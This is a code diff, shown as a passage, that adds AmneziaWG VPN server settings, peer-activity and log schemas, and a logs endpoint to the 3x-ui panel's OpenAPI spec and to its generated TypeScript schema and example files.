+          "h4": {
+            "type": "string"
+          },
+          "headerProtectionKey": {
+            "description": "HeaderProtectionKey and ContentPaddingAddition are AmneziaWG 3.0\nfields, flat and top-level for the same tools/openapigen reason as\nthe block above; Obfuscation() below folds them back into\nObfuscation31's own identically named fields.\nHeaderProtectionKey is a base64 32-byte key; empty (the default)\ndisables AWG 3.0 header protection. A non-empty value requires\nevery one of S1-S4 above to be >= 12 -- ValidateObfuscation\nenforces this at save time, not just at IpcSet time.\nContentPaddingAddition is a \"low-high\" range or bare integer, the\nsame grammar and uint32 cap as H1-H4.",
+            "type": "string"
+          },
+          "i1": {
+            "type": "string"
+          },
+          "i2": {
+            "type": "string"
+          },
+          "i3": {
+            "type": "string"
+          },
+          "i4": {
+            "type": "string"
+          },
+          "i5": {
+            "type": "string"
+          },
+          "ipv6Enabled": {
+            "type": "boolean"
+          },
+          "ipv6ExternalInterface": {
+            "type": "string"
+          },
+          "ipv6Subnet": {
+            "type": "string"
+          },
+          "jc": {
+            "description": "Obfuscation31's fields, repeated flat (not embedded) rather than\nnested under their own key: encoding/json would happily inline an\nembedded Obfuscation31 the same way, but the frontend's Go->Zod/TS\ngenerator (tools/openapigen) does not — it emits a genuinely nested\n`obfuscation31` object, which would silently diverge from the real\nwire JSON. See Obfuscation() below for the manager-facing conversion.",
+            "type": "integer"
+          },
+          "jmax": {
+            "type": "integer"
+          },
+          "jmin": {
+            "type": "integer"
+          },
+          "keepaliveTimeout": {
+            "type": "string"
+          },
+          "maxHandshakeAttempts": {
+            "type": "string"
+          },
+          "mtu": {
+            "type": "integer"
+          },
+          "primaryDns": {
+            "description": "PrimaryDNS/SecondaryDNS seed client configs' DNS line. Blank is\nmeaningful, so no omitempty: a dropped key resurrects frontend defaults.",
+            "type": "string"
+          },
+          "privateKey": {
+            "type": "string"
+          },
+          "publicKey": {
+            "type": "string"
+          },
+          "randomTrailers": {
+            "description": "RandomTrailers/DisableCookies mirror Instance's identically named\nAmneziaWG 3.1 fields -- see that type's own doc comment for the real\nprotocol/interop details. Both real bool fields (not omitempty):\nbuildUAPIConfig always emits both lines explicitly so the\nreconfigure-in-place diff correctly notices a true->false edit, not\njust false->true.",
+            "type": "boolean"
+          },
+          "rejectAfterTime": {
+            "type": "string"
+          },
+          "rekeyAfterTime": {
+            "description": "RekeyAfterTime/RekeyTimeout/RejectAfterTime/KeepaliveTimeout/\nMaxHandshakeAttempts mirror Instance's identically named fields --\nsee that type's own doc comment for the grammar/width/real-default\ndetails. Flat and top-level for the same tools/openapigen reason as\nthe rest of this struct.",
+            "type": "string"
+          },
+          "rekeyTimeout": {
+            "type": "string"
+          },
+          "routeThroughXray": {
+            "type": "boolean"
+          },
+          "s1": {
+            "type": "integer"
+          },
+          "s2": {
+            "type": "integer"
+          },
+          "s3": {
+            "type": "integer"
+          },
+          "s4": {
+            "type": "integer"
+          },
+          "secondaryDns": {
+            "type": "string"
+          },
+          "subnetCidr": {
+            "type": "integer"
+          },
+          "subnetIp": {
+            "type": "string"
+          }
+        },
+        "required": [
+          "disableCookies",
+          "h1",
+          "h2",
+          "h3",
+          "h4",
+          "jc",
+          "jmax",
+          "jmin",
+          "primaryDns",
+          "privateKey",
+          "publicKey",
+          "randomTrailers",
+          "s1",
+          "s2",
+          "s3",
+          "s4",
+          "secondaryDns",
+          "subnetCidr",
+          "subnetIp"
+        ],
+        "type": "object"
+      },
       "Setting": {
       "Setting": {
         "description": "Setting stores key-value configuration settings for the 3x-ui panel.",
         "description": "Setting stores key-value configuration settings for the 3x-ui panel.",
         "properties": {
         "properties": {
@@ -3608,6 +3872,7 @@
                   "success": true,
                   "success": true,
                   "obj": [
                   "obj": [
                     {
                     {
+                      "awgServer": null,
                       "enable": true,
                       "enable": true,
                       "id": 1,
                       "id": 1,
                       "listen": "",
                       "listen": "",
@@ -5660,6 +5925,82 @@
         }
         }
       }
       }
     },
     },
+    "/panel/api/server/amneziawglogs/{count}": {
+      "post": {
+        "tags": [
+          "Server"
+        ],
+        "summary": "Return live AmneziaWG peer activity (handshake, endpoint, transfer) plus the panel’s own AmneziaWG event lines.",
+        "operationId": "post_panel_api_server_amneziawglogs_count",
+        "parameters": [
+          {
+            "name": "count",
+            "in": "path",
+            "required": true,
+            "description": "Maximum peer rows and event lines to return.",
+            "schema": {
+              "type": "integer"
+            }
+          }
+        ],
+        "requestBody": {
+          "required": true,
+          "content": {
+            "application/json": {
+              "schema": {
+                "type": "object"
+              }
+            }
+          }
+        },
+        "responses": {
+          "200": {
+            "description": "Successful response",
+            "content": {
+              "application/json": {
+                "schema": {
+                  "type": "object",
+                  "properties": {
+                    "success": {
+                      "type": "boolean"
+                    },
+                    "msg": {
+                      "type": "string"
+                    },
+                    "obj": {
+                      "$ref": "#/components/schemas/AmneziaWGLogs"
+                    }
+                  }
+                },
+                "example": {
+                  "success": true,
+                  "obj": {
+                    "events": [
+                      "2025/01/01 12:00:00 amneziawg: started interface awg1 for inbound 1"
+                    ],
+                    "peers": [
+                      {
+                        "allowedIPs": "10.8.1.2/32",
+                        "down": 4194304,
+                        "email": "[email protected]",
+                        "endpoint": "203.0.113.9:51820",
+                        "handshake": 1735732800000,
+                        "inboundId": 1,
+                        "interface": "awg1",
+                        "online": true,
+                        "tag": "inbound-51820",
+                        "up": 1048576
+                      }
+                    ],
+                    "running": true
+                  }
+                }
+              }
+            }
+          }
+        }
+      }
+    },
     "/panel/api/server/importDB": {
     "/panel/api/server/importDB": {
       "post": {
       "post": {
         "tags": [
         "tags": [

+ 342 - 1
frontend/public/openapi.json

@@ -970,6 +970,36 @@
         ],
         ],
         "type": "object"
         "type": "object"
       },
       },
+      "AmneziaWGLogs": {
+        "description": "AmneziaWGLogs is what the overview's AmneziaWG log view renders: the live\nper-peer activity of every running embedded interface, plus the panel's\nown recent AmneziaWG lifecycle log lines that explain a peer being absent\nfrom Peers at all.",
+        "properties": {
+          "events": {
+            "example": [
+              "2025/01/01 12:00:00 amneziawg: started interface awg1 for inbound 1"
+            ],
+            "items": {
+              "type": "string"
+            },
+            "type": "array"
+          },
+          "peers": {
+            "items": {
+              "$ref": "#/components/schemas/PeerActivity"
+            },
+            "type": "array"
+          },
+          "running": {
+            "example": true,
+            "type": "boolean"
+          }
+        },
+        "required": [
+          "events",
+          "peers",
+          "running"
+        ],
+        "type": "object"
+      },
       "ApiToken": {
       "ApiToken": {
         "properties": {
         "properties": {
           "createdAt": {
           "createdAt": {
@@ -1064,6 +1094,16 @@
             },
             },
             "type": "array"
             "type": "array"
           },
           },
+          "allowedIPsByInbound": {
+            "additionalProperties": {
+              "items": {
+                "type": "string"
+              },
+              "type": "array"
+            },
+            "description": "AllowedIPsByInbound optionally overrides AllowedIPs on a per-inbound\nbasis, keyed by inbound id. Lets one identity attached to both\nWireGuard and AmneziaWG carry two genuinely different addresses in a\nsingle Create/Update call instead of the shared AllowedIPs field\nbeing broadcast to every attached tunnel inbound. Absent/unset for a\ngiven inbound id falls back to the shared AllowedIPs exactly as\nbefore -- fully backward compatible for callers that never set this.",
+            "type": "object"
+          },
           "auth": {
           "auth": {
             "description": "Auth password (Hysteria)",
             "description": "Auth password (Hysteria)",
             "type": "string"
             "type": "string"
@@ -1094,6 +1134,10 @@
             "description": "Flow control (XTLS)",
             "description": "Flow control (XTLS)",
             "type": "string"
             "type": "string"
           },
           },
+          "forwardedPorts": {
+            "description": "AmneziaWG per-client port-forwarding spec, e.g. \"80,443,8000-8100\"",
+            "type": "string"
+          },
           "group": {
           "group": {
             "description": "Logical grouping label",
             "description": "Logical grouping label",
             "type": "string"
             "type": "string"
@@ -1258,6 +1302,9 @@
           "flow": {
           "flow": {
             "type": "string"
             "type": "string"
           },
           },
+          "forwardedPorts": {
+            "type": "string"
+          },
           "group": {
           "group": {
             "type": "string"
             "type": "string"
           },
           },
@@ -1336,6 +1383,7 @@
           "enable",
           "enable",
           "expiryTime",
           "expiryTime",
           "flow",
           "flow",
+          "forwardedPorts",
           "group",
           "group",
           "id",
           "id",
           "keepAlive",
           "keepAlive",
@@ -2079,7 +2127,8 @@
               "mixed",
               "mixed",
               "tunnel",
               "tunnel",
               "tun",
               "tun",
-              "mtproto"
+              "mtproto",
+              "amneziawg"
             ],
             ],
             "example": "vless",
             "example": "vless",
             "type": "string"
             "type": "string"
@@ -2231,6 +2280,15 @@
       },
       },
       "InboundOption": {
       "InboundOption": {
         "properties": {
         "properties": {
+          "awgServer": {
+            "allOf": [
+              {
+                "$ref": "#/components/schemas/ServerSettings"
+              }
+            ],
+            "description": "AwgServer carries the full AmneziaWG server block (keys, subnet,\nobfuscation params) so the clients page can render a downloadable\nper-client .conf without a second round trip.",
+            "nullable": true
+          },
           "enable": {
           "enable": {
             "example": true,
             "example": true,
             "type": "boolean"
             "type": "boolean"
@@ -2913,6 +2971,68 @@
         ],
         ],
         "type": "object"
         "type": "object"
       },
       },
+      "PeerActivity": {
+        "description": "PeerActivity is one peer's live embedded-Device-reported state, the\ncounterpart of an Xray access-log entry: a tunnel logs no requests, only\nhandshakes and bytes.",
+        "properties": {
+          "allowedIPs": {
+            "example": "10.8.1.2/32",
+            "type": "string"
+          },
+          "down": {
+            "example": 4194304,
+            "format": "int64",
+            "type": "integer"
+          },
+          "email": {
+            "example": "[email protected]",
+            "type": "string"
+          },
+          "endpoint": {
+            "example": "203.0.113.9:51820",
+            "type": "string"
+          },
+          "handshake": {
+            "description": "Handshake is unix milliseconds, 0 when the peer has never connected.",
+            "example": 1735732800000,
+            "format": "int64",
+            "type": "integer"
+          },
+          "inboundId": {
+            "example": 1,
+            "type": "integer"
+          },
+          "interface": {
+            "example": "awg1",
+            "type": "string"
+          },
+          "online": {
+            "example": true,
+            "type": "boolean"
+          },
+          "tag": {
+            "example": "inbound-51820",
+            "type": "string"
+          },
+          "up": {
+            "example": 1048576,
+            "format": "int64",
+            "type": "integer"
+          }
+        },
+        "required": [
+          "allowedIPs",
+          "down",
+          "email",
+          "endpoint",
+          "handshake",
+          "inboundId",
+          "interface",
+          "online",
+          "tag",
+          "up"
+        ],
+        "type": "object"
+      },
       "ProbeResultUI": {
       "ProbeResultUI": {
         "properties": {
         "properties": {
           "cpuPct": {
           "cpuPct": {
@@ -3079,6 +3199,150 @@
         ],
         ],
         "type": "object"
         "type": "object"
       },
       },
+      "ServerSettings": {
+        "description": "ServerSettings is the \"server\" block of an AmneziaWG inbound's Settings\nJSON: the interface-level configuration shared by every client/peer. The\nlisten port is deliberately not duplicated here — it lives on the inbound\nrow itself (Inbound.Port), like every other protocol.",
+        "properties": {
+          "contentPaddingAddition": {
+            "type": "string"
+          },
+          "disableCookies": {
+            "type": "boolean"
+          },
+          "externalInterface": {
+            "description": "ExternalInterface, IPv6Enabled, and IPv6ExternalInterface are live\nagain as of Phase 3.5 -- see the matching fields on Instance for what\nthey gate (internal/amneziawgnet's IPv6-address-alias mechanism).\nIPv6Subnet was never actually vestigial either: InstanceFromInbound\nalready consumes it (via serverAddressV6) to build the server's own\ntunnel address, same as always. Only RouteThroughXray, below, remains\ngenuinely vestigial as of the hard cutover to the embedded path\n(internal/amneziawgnet) -- read from existing stored settings for\nbackward compatibility, but not acted on by anything.",
+            "type": "string"
+          },
+          "h1": {
+            "type": "string"
+          },
+          "h2": {
+            "type": "string"
+          },
+          "h3": {
+            "type": "string"
+          },
+          "h4": {
+            "type": "string"
+          },
+          "headerProtectionKey": {
+            "description": "HeaderProtectionKey and ContentPaddingAddition are AmneziaWG 3.0\nfields, flat and top-level for the same tools/openapigen reason as\nthe block above; Obfuscation() below folds them back into\nObfuscation31's own identically named fields.\nHeaderProtectionKey is a base64 32-byte key; empty (the default)\ndisables AWG 3.0 header protection. A non-empty value requires\nevery one of S1-S4 above to be >= 12 -- ValidateObfuscation\nenforces this at save time, not just at IpcSet time.\nContentPaddingAddition is a \"low-high\" range or bare integer, the\nsame grammar and uint32 cap as H1-H4.",
+            "type": "string"
+          },
+          "i1": {
+            "type": "string"
+          },
+          "i2": {
+            "type": "string"
+          },
+          "i3": {
+            "type": "string"
+          },
+          "i4": {
+            "type": "string"
+          },
+          "i5": {
+            "type": "string"
+          },
+          "ipv6Enabled": {
+            "type": "boolean"
+          },
+          "ipv6ExternalInterface": {
+            "type": "string"
+          },
+          "ipv6Subnet": {
+            "type": "string"
+          },
+          "jc": {
+            "description": "Obfuscation31's fields, repeated flat (not embedded) rather than\nnested under their own key: encoding/json would happily inline an\nembedded Obfuscation31 the same way, but the frontend's Go->Zod/TS\ngenerator (tools/openapigen) does not — it emits a genuinely nested\n`obfuscation31` object, which would silently diverge from the real\nwire JSON. See Obfuscation() below for the manager-facing conversion.",
+            "type": "integer"
+          },
+          "jmax": {
+            "type": "integer"
+          },
+          "jmin": {
+            "type": "integer"
+          },
+          "keepaliveTimeout": {
+            "type": "string"
+          },
+          "maxHandshakeAttempts": {
+            "type": "string"
+          },
+          "mtu": {
+            "type": "integer"
+          },
+          "primaryDns": {
+            "description": "PrimaryDNS/SecondaryDNS seed client configs' DNS line. Blank is\nmeaningful, so no omitempty: a dropped key resurrects frontend defaults.",
+            "type": "string"
+          },
+          "privateKey": {
+            "type": "string"
+          },
+          "publicKey": {
+            "type": "string"
+          },
+          "randomTrailers": {
+            "description": "RandomTrailers/DisableCookies mirror Instance's identically named\nAmneziaWG 3.1 fields -- see that type's own doc comment for the real\nprotocol/interop details. Both real bool fields (not omitempty):\nbuildUAPIConfig always emits both lines explicitly so the\nreconfigure-in-place diff correctly notices a true->false edit, not\njust false->true.",
+            "type": "boolean"
+          },
+          "rejectAfterTime": {
+            "type": "string"
+          },
+          "rekeyAfterTime": {
+            "description": "RekeyAfterTime/RekeyTimeout/RejectAfterTime/KeepaliveTimeout/\nMaxHandshakeAttempts mirror Instance's identically named fields --\nsee that type's own doc comment for the grammar/width/real-default\ndetails. Flat and top-level for the same tools/openapigen reason as\nthe rest of this struct.",
+            "type": "string"
+          },
+          "rekeyTimeout": {
+            "type": "string"
+          },
+          "routeThroughXray": {
+            "type": "boolean"
+          },
+          "s1": {
+            "type": "integer"
+          },
+          "s2": {
+            "type": "integer"
+          },
+          "s3": {
+            "type": "integer"
+          },
+          "s4": {
+            "type": "integer"
+          },
+          "secondaryDns": {
+            "type": "string"
+          },
+          "subnetCidr": {
+            "type": "integer"
+          },
+          "subnetIp": {
+            "type": "string"
+          }
+        },
+        "required": [
+          "disableCookies",
+          "h1",
+          "h2",
+          "h3",
+          "h4",
+          "jc",
+          "jmax",
+          "jmin",
+          "primaryDns",
+          "privateKey",
+          "publicKey",
+          "randomTrailers",
+          "s1",
+          "s2",
+          "s3",
+          "s4",
+          "secondaryDns",
+          "subnetCidr",
+          "subnetIp"
+        ],
+        "type": "object"
+      },
       "Setting": {
       "Setting": {
         "description": "Setting stores key-value configuration settings for the 3x-ui panel.",
         "description": "Setting stores key-value configuration settings for the 3x-ui panel.",
         "properties": {
         "properties": {
@@ -3608,6 +3872,7 @@
                   "success": true,
                   "success": true,
                   "obj": [
                   "obj": [
                     {
                     {
+                      "awgServer": null,
                       "enable": true,
                       "enable": true,
                       "id": 1,
                       "id": 1,
                       "listen": "",
                       "listen": "",
@@ -5660,6 +5925,82 @@
         }
         }
       }
       }
     },
     },
+    "/panel/api/server/amneziawglogs/{count}": {
+      "post": {
+        "tags": [
+          "Server"
+        ],
+        "summary": "Return live AmneziaWG peer activity (handshake, endpoint, transfer) plus the panel’s own AmneziaWG event lines.",
+        "operationId": "post_panel_api_server_amneziawglogs_count",
+        "parameters": [
+          {
+            "name": "count",
+            "in": "path",
+            "required": true,
+            "description": "Maximum peer rows and event lines to return.",
+            "schema": {
+              "type": "integer"
+            }
+          }
+        ],
+        "requestBody": {
+          "required": true,
+          "content": {
+            "application/json": {
+              "schema": {
+                "type": "object"
+              }
+            }
+          }
+        },
+        "responses": {
+          "200": {
+            "description": "Successful response",
+            "content": {
+              "application/json": {
+                "schema": {
+                  "type": "object",
+                  "properties": {
+                    "success": {
+                      "type": "boolean"
+                    },
+                    "msg": {
+                      "type": "string"
+                    },
+                    "obj": {
+                      "$ref": "#/components/schemas/AmneziaWGLogs"
+                    }
+                  }
+                },
+                "example": {
+                  "success": true,
+                  "obj": {
+                    "events": [
+                      "2025/01/01 12:00:00 amneziawg: started interface awg1 for inbound 1"
+                    ],
+                    "peers": [
+                      {
+                        "allowedIPs": "10.8.1.2/32",
+                        "down": 4194304,
+                        "email": "[email protected]",
+                        "endpoint": "203.0.113.9:51820",
+                        "handshake": 1735732800000,
+                        "inboundId": 1,
+                        "interface": "awg1",
+                        "online": true,
+                        "tag": "inbound-51820",
+                        "up": 1048576
+                      }
+                    ],
+                    "running": true
+                  }
+                }
+              }
+            }
+          }
+        }
+      }
+    },
     "/panel/api/server/importDB": {
     "/panel/api/server/importDB": {
       "post": {
       "post": {
         "tags": [
         "tags": [

+ 75 - 0
frontend/src/generated/examples.ts

@@ -221,6 +221,26 @@ export const EXAMPLES: Record<string, unknown> = {
     "webListen": "",
     "webListen": "",
     "webPort": 1
     "webPort": 1
   },
   },
+  "AmneziaWGLogs": {
+    "events": [
+      "2025/01/01 12:00:00 amneziawg: started interface awg1 for inbound 1"
+    ],
+    "peers": [
+      {
+        "allowedIPs": "10.8.1.2/32",
+        "down": 4194304,
+        "email": "[email protected]",
+        "endpoint": "203.0.113.9:51820",
+        "handshake": 1735732800000,
+        "inboundId": 1,
+        "interface": "awg1",
+        "online": true,
+        "tag": "inbound-51820",
+        "up": 1048576
+      }
+    ],
+    "running": true
+  },
   "ApiToken": {
   "ApiToken": {
     "createdAt": 0,
     "createdAt": 0,
     "enabled": false,
     "enabled": false,
@@ -244,6 +264,7 @@ export const EXAMPLES: Record<string, unknown> = {
     "allowedIPs": [
     "allowedIPs": [
       ""
       ""
     ],
     ],
+    "allowedIPsByInbound": {},
     "auth": "",
     "auth": "",
     "comment": "",
     "comment": "",
     "created_at": 0,
     "created_at": 0,
@@ -251,6 +272,7 @@ export const EXAMPLES: Record<string, unknown> = {
     "enable": false,
     "enable": false,
     "expiryTime": 0,
     "expiryTime": 0,
     "flow": "",
     "flow": "",
+    "forwardedPorts": "",
     "group": "",
     "group": "",
     "id": "",
     "id": "",
     "keepAlive": 0,
     "keepAlive": 0,
@@ -288,6 +310,7 @@ export const EXAMPLES: Record<string, unknown> = {
     "enable": false,
     "enable": false,
     "expiryTime": 0,
     "expiryTime": 0,
     "flow": "",
     "flow": "",
+    "forwardedPorts": "",
     "group": "",
     "group": "",
     "id": 0,
     "id": 0,
     "keepAlive": 0,
     "keepAlive": 0,
@@ -544,6 +567,7 @@ export const EXAMPLES: Record<string, unknown> = {
     "xver": 0
     "xver": 0
   },
   },
   "InboundOption": {
   "InboundOption": {
+    "awgServer": null,
     "enable": true,
     "enable": true,
     "id": 1,
     "id": 1,
     "listen": "",
     "listen": "",
@@ -689,6 +713,18 @@ export const EXAMPLES: Record<string, unknown> = {
     "runId": "1735689600123456789",
     "runId": "1735689600123456789",
     "state": "success"
     "state": "success"
   },
   },
+  "PeerActivity": {
+    "allowedIPs": "10.8.1.2/32",
+    "down": 4194304,
+    "email": "[email protected]",
+    "endpoint": "203.0.113.9:51820",
+    "handshake": 1735732800000,
+    "inboundId": 1,
+    "interface": "awg1",
+    "online": true,
+    "tag": "inbound-51820",
+    "up": 1048576
+  },
   "ProbeResultUI": {
   "ProbeResultUI": {
     "cpuPct": 12.5,
     "cpuPct": 12.5,
     "error": "",
     "error": "",
@@ -725,6 +761,45 @@ export const EXAMPLES: Record<string, unknown> = {
     "tlsVersion": "1.3",
     "tlsVersion": "1.3",
     "x25519": true
     "x25519": true
   },
   },
+  "ServerSettings": {
+    "contentPaddingAddition": "",
+    "disableCookies": false,
+    "externalInterface": "",
+    "h1": "",
+    "h2": "",
+    "h3": "",
+    "h4": "",
+    "headerProtectionKey": "",
+    "i1": "",
+    "i2": "",
+    "i3": "",
+    "i4": "",
+    "i5": "",
+    "ipv6Enabled": false,
+    "ipv6ExternalInterface": "",
+    "ipv6Subnet": "",
+    "jc": 0,
+    "jmax": 0,
+    "jmin": 0,
+    "keepaliveTimeout": "",
+    "maxHandshakeAttempts": "",
+    "mtu": 0,
+    "primaryDns": "",
+    "privateKey": "",
+    "publicKey": "",
+    "randomTrailers": false,
+    "rejectAfterTime": "",
+    "rekeyAfterTime": "",
+    "rekeyTimeout": "",
+    "routeThroughXray": false,
+    "s1": 0,
+    "s2": 0,
+    "s3": 0,
+    "s4": 0,
+    "secondaryDns": "",
+    "subnetCidr": 0,
+    "subnetIp": ""
+  },
   "Setting": {
   "Setting": {
     "id": 0,
     "id": 0,
     "key": "",
     "key": "",

+ 265 - 1
frontend/src/generated/schemas.ts

@@ -944,6 +944,36 @@ export const SCHEMAS: Record<string, unknown> = {
     ],
     ],
     "type": "object"
     "type": "object"
   },
   },
+  "AmneziaWGLogs": {
+    "description": "AmneziaWGLogs is what the overview's AmneziaWG log view renders: the live\nper-peer activity of every running embedded interface, plus the panel's\nown recent AmneziaWG lifecycle log lines that explain a peer being absent\nfrom Peers at all.",
+    "properties": {
+      "events": {
+        "example": [
+          "2025/01/01 12:00:00 amneziawg: started interface awg1 for inbound 1"
+        ],
+        "items": {
+          "type": "string"
+        },
+        "type": "array"
+      },
+      "peers": {
+        "items": {
+          "$ref": "#/components/schemas/PeerActivity"
+        },
+        "type": "array"
+      },
+      "running": {
+        "example": true,
+        "type": "boolean"
+      }
+    },
+    "required": [
+      "events",
+      "peers",
+      "running"
+    ],
+    "type": "object"
+  },
   "ApiToken": {
   "ApiToken": {
     "properties": {
     "properties": {
       "createdAt": {
       "createdAt": {
@@ -1038,6 +1068,16 @@ export const SCHEMAS: Record<string, unknown> = {
         },
         },
         "type": "array"
         "type": "array"
       },
       },
+      "allowedIPsByInbound": {
+        "additionalProperties": {
+          "items": {
+            "type": "string"
+          },
+          "type": "array"
+        },
+        "description": "AllowedIPsByInbound optionally overrides AllowedIPs on a per-inbound\nbasis, keyed by inbound id. Lets one identity attached to both\nWireGuard and AmneziaWG carry two genuinely different addresses in a\nsingle Create/Update call instead of the shared AllowedIPs field\nbeing broadcast to every attached tunnel inbound. Absent/unset for a\ngiven inbound id falls back to the shared AllowedIPs exactly as\nbefore -- fully backward compatible for callers that never set this.",
+        "type": "object"
+      },
       "auth": {
       "auth": {
         "description": "Auth password (Hysteria)",
         "description": "Auth password (Hysteria)",
         "type": "string"
         "type": "string"
@@ -1068,6 +1108,10 @@ export const SCHEMAS: Record<string, unknown> = {
         "description": "Flow control (XTLS)",
         "description": "Flow control (XTLS)",
         "type": "string"
         "type": "string"
       },
       },
+      "forwardedPorts": {
+        "description": "AmneziaWG per-client port-forwarding spec, e.g. \"80,443,8000-8100\"",
+        "type": "string"
+      },
       "group": {
       "group": {
         "description": "Logical grouping label",
         "description": "Logical grouping label",
         "type": "string"
         "type": "string"
@@ -1232,6 +1276,9 @@ export const SCHEMAS: Record<string, unknown> = {
       "flow": {
       "flow": {
         "type": "string"
         "type": "string"
       },
       },
+      "forwardedPorts": {
+        "type": "string"
+      },
       "group": {
       "group": {
         "type": "string"
         "type": "string"
       },
       },
@@ -1310,6 +1357,7 @@ export const SCHEMAS: Record<string, unknown> = {
       "enable",
       "enable",
       "expiryTime",
       "expiryTime",
       "flow",
       "flow",
+      "forwardedPorts",
       "group",
       "group",
       "id",
       "id",
       "keepAlive",
       "keepAlive",
@@ -2053,7 +2101,8 @@ export const SCHEMAS: Record<string, unknown> = {
           "mixed",
           "mixed",
           "tunnel",
           "tunnel",
           "tun",
           "tun",
-          "mtproto"
+          "mtproto",
+          "amneziawg"
         ],
         ],
         "example": "vless",
         "example": "vless",
         "type": "string"
         "type": "string"
@@ -2205,6 +2254,15 @@ export const SCHEMAS: Record<string, unknown> = {
   },
   },
   "InboundOption": {
   "InboundOption": {
     "properties": {
     "properties": {
+      "awgServer": {
+        "allOf": [
+          {
+            "$ref": "#/components/schemas/ServerSettings"
+          }
+        ],
+        "description": "AwgServer carries the full AmneziaWG server block (keys, subnet,\nobfuscation params) so the clients page can render a downloadable\nper-client .conf without a second round trip.",
+        "nullable": true
+      },
       "enable": {
       "enable": {
         "example": true,
         "example": true,
         "type": "boolean"
         "type": "boolean"
@@ -2887,6 +2945,68 @@ export const SCHEMAS: Record<string, unknown> = {
     ],
     ],
     "type": "object"
     "type": "object"
   },
   },
+  "PeerActivity": {
+    "description": "PeerActivity is one peer's live embedded-Device-reported state, the\ncounterpart of an Xray access-log entry: a tunnel logs no requests, only\nhandshakes and bytes.",
+    "properties": {
+      "allowedIPs": {
+        "example": "10.8.1.2/32",
+        "type": "string"
+      },
+      "down": {
+        "example": 4194304,
+        "format": "int64",
+        "type": "integer"
+      },
+      "email": {
+        "example": "[email protected]",
+        "type": "string"
+      },
+      "endpoint": {
+        "example": "203.0.113.9:51820",
+        "type": "string"
+      },
+      "handshake": {
+        "description": "Handshake is unix milliseconds, 0 when the peer has never connected.",
+        "example": 1735732800000,
+        "format": "int64",
+        "type": "integer"
+      },
+      "inboundId": {
+        "example": 1,
+        "type": "integer"
+      },
+      "interface": {
+        "example": "awg1",
+        "type": "string"
+      },
+      "online": {
+        "example": true,
+        "type": "boolean"
+      },
+      "tag": {
+        "example": "inbound-51820",
+        "type": "string"
+      },
+      "up": {
+        "example": 1048576,
+        "format": "int64",
+        "type": "integer"
+      }
+    },
+    "required": [
+      "allowedIPs",
+      "down",
+      "email",
+      "endpoint",
+      "handshake",
+      "inboundId",
+      "interface",
+      "online",
+      "tag",
+      "up"
+    ],
+    "type": "object"
+  },
   "ProbeResultUI": {
   "ProbeResultUI": {
     "properties": {
     "properties": {
       "cpuPct": {
       "cpuPct": {
@@ -3053,6 +3173,150 @@ export const SCHEMAS: Record<string, unknown> = {
     ],
     ],
     "type": "object"
     "type": "object"
   },
   },
+  "ServerSettings": {
+    "description": "ServerSettings is the \"server\" block of an AmneziaWG inbound's Settings\nJSON: the interface-level configuration shared by every client/peer. The\nlisten port is deliberately not duplicated here — it lives on the inbound\nrow itself (Inbound.Port), like every other protocol.",
+    "properties": {
+      "contentPaddingAddition": {
+        "type": "string"
+      },
+      "disableCookies": {
+        "type": "boolean"
+      },
+      "externalInterface": {
+        "description": "ExternalInterface, IPv6Enabled, and IPv6ExternalInterface are live\nagain as of Phase 3.5 -- see the matching fields on Instance for what\nthey gate (internal/amneziawgnet's IPv6-address-alias mechanism).\nIPv6Subnet was never actually vestigial either: InstanceFromInbound\nalready consumes it (via serverAddressV6) to build the server's own\ntunnel address, same as always. Only RouteThroughXray, below, remains\ngenuinely vestigial as of the hard cutover to the embedded path\n(internal/amneziawgnet) -- read from existing stored settings for\nbackward compatibility, but not acted on by anything.",
+        "type": "string"
+      },
+      "h1": {
+        "type": "string"
+      },
+      "h2": {
+        "type": "string"
+      },
+      "h3": {
+        "type": "string"
+      },
+      "h4": {
+        "type": "string"
+      },
+      "headerProtectionKey": {
+        "description": "HeaderProtectionKey and ContentPaddingAddition are AmneziaWG 3.0\nfields, flat and top-level for the same tools/openapigen reason as\nthe block above; Obfuscation() below folds them back into\nObfuscation31's own identically named fields.\nHeaderProtectionKey is a base64 32-byte key; empty (the default)\ndisables AWG 3.0 header protection. A non-empty value requires\nevery one of S1-S4 above to be \u003e= 12 -- ValidateObfuscation\nenforces this at save time, not just at IpcSet time.\nContentPaddingAddition is a \"low-high\" range or bare integer, the\nsame grammar and uint32 cap as H1-H4.",
+        "type": "string"
+      },
+      "i1": {
+        "type": "string"
+      },
+      "i2": {
+        "type": "string"
+      },
+      "i3": {
+        "type": "string"
+      },
+      "i4": {
+        "type": "string"
+      },
+      "i5": {
+        "type": "string"
+      },
+      "ipv6Enabled": {
+        "type": "boolean"
+      },
+      "ipv6ExternalInterface": {
+        "type": "string"
+      },
+      "ipv6Subnet": {
+        "type": "string"
+      },
+      "jc": {
+        "description": "Obfuscation31's fields, repeated flat (not embedded) rather than\nnested under their own key: encoding/json would happily inline an\nembedded Obfuscation31 the same way, but the frontend's Go-\u003eZod/TS\ngenerator (tools/openapigen) does not — it emits a genuinely nested\n`obfuscation31` object, which would silently diverge from the real\nwire JSON. See Obfuscation() below for the manager-facing conversion.",
+        "type": "integer"
+      },
+      "jmax": {
+        "type": "integer"
+      },
+      "jmin": {
+        "type": "integer"
+      },
+      "keepaliveTimeout": {
+        "type": "string"
+      },
+      "maxHandshakeAttempts": {
+        "type": "string"
+      },
+      "mtu": {
+        "type": "integer"
+      },
+      "primaryDns": {
+        "description": "PrimaryDNS/SecondaryDNS seed client configs' DNS line. Blank is\nmeaningful, so no omitempty: a dropped key resurrects frontend defaults.",
+        "type": "string"
+      },
+      "privateKey": {
+        "type": "string"
+      },
+      "publicKey": {
+        "type": "string"
+      },
+      "randomTrailers": {
+        "description": "RandomTrailers/DisableCookies mirror Instance's identically named\nAmneziaWG 3.1 fields -- see that type's own doc comment for the real\nprotocol/interop details. Both real bool fields (not omitempty):\nbuildUAPIConfig always emits both lines explicitly so the\nreconfigure-in-place diff correctly notices a true-\u003efalse edit, not\njust false-\u003etrue.",
+        "type": "boolean"
+      },
+      "rejectAfterTime": {
+        "type": "string"
+      },
+      "rekeyAfterTime": {
+        "description": "RekeyAfterTime/RekeyTimeout/RejectAfterTime/KeepaliveTimeout/\nMaxHandshakeAttempts mirror Instance's identically named fields --\nsee that type's own doc comment for the grammar/width/real-default\ndetails. Flat and top-level for the same tools/openapigen reason as\nthe rest of this struct.",
+        "type": "string"
+      },
+      "rekeyTimeout": {
+        "type": "string"
+      },
+      "routeThroughXray": {
+        "type": "boolean"
+      },
+      "s1": {
+        "type": "integer"
+      },
+      "s2": {
+        "type": "integer"
+      },
+      "s3": {
+        "type": "integer"
+      },
+      "s4": {
